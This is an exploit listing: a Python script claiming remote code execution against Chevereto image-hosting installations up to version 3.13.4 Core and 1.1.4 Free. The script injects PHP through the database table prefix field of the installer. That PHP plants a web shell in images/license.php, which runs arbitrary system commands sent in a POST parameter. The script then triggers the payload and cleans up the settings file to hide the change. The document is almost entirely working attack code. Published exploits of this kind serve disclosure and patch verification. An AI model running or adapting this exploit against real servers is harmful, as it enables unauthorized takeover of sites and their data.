Chevereto 3.13.4 Core Remote Code Execution

`# Exploit Title: Chevereto 3.13.4 Core - Remote Code Execution   
# Date: 2020-01-11  
# Exploit Author: Jinny Ramsmark   
# Vendor Homepage: https://chevereto.com/  
# Software Link: https://github.com/Chevereto/Chevereto-Free/releases  
# Version: 1.0.0 Free - 1.1.4 Free, <= 3.13.4 Core  
# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41  
# CVE : N/A  
  
from urllib import request, parse  
from time import sleep  
  
#Python3  
#Needs to have a valid database server, database and user to exploit  
#1.0.0 Free version confirmed vulnerable  
#1.1.4 Free version confirmed vulnerable  
#3.13.4 Core version confirmed vulnerable  
  
def main():  
  
target = 'http://cheveretoinstallation/'  
cookie = 'PHPSESSID=89efba681a8bb81d32cd10d3170baf6e'  
db_host = 'ip_to_valid_mysql'  
db_name = 'valid_db'  
db_user = 'valid_user'  
db_pass = 'valid_pass'  
db_table_prefix = 'chv_'  
  
inject = "';if(strpos(file_get_contents('images/license.php'), '$_POST[\"ccc\"]') === false){file_put_contents('images/license.php','if(isset($_POST[\"ccc\"])){;system($_POST[\"ccc\"]);}');}//"  
  
#Clean data for when we want to clean up the settings file  
params = {'db_host': db_host, 'db_name': db_name, 'db_user': db_user, 'db_pass': db_pass, 'db_table_prefix': db_table_prefix}  
data = parse.urlencode(params).encode()  
  
#Settings data with injected code  
params['db_table_prefix'] += inject  
dataInject = parse.urlencode(params).encode()  
  
#Do inject  
doPostRequest(target + 'install', dataInject, cookie)  
sleep(1)  
  
#Request index page to run the injected code  
doRequest(target)  
  
sleep(1)  
#Do a clean request to clean up the settings.php file  
doPostRequest(target + 'install', data, cookie)  
  
def doPostRequest(target, data, cookie):  
req = request.Request(target, data=data)  
req.add_header('Cookie', cookie)  
resp = request.urlopen(req)  
  
def doRequest(target):  
req = request.Request(target)  
resp = request.urlopen(req)  
  
if __name__ == '__main__':  
main()  
`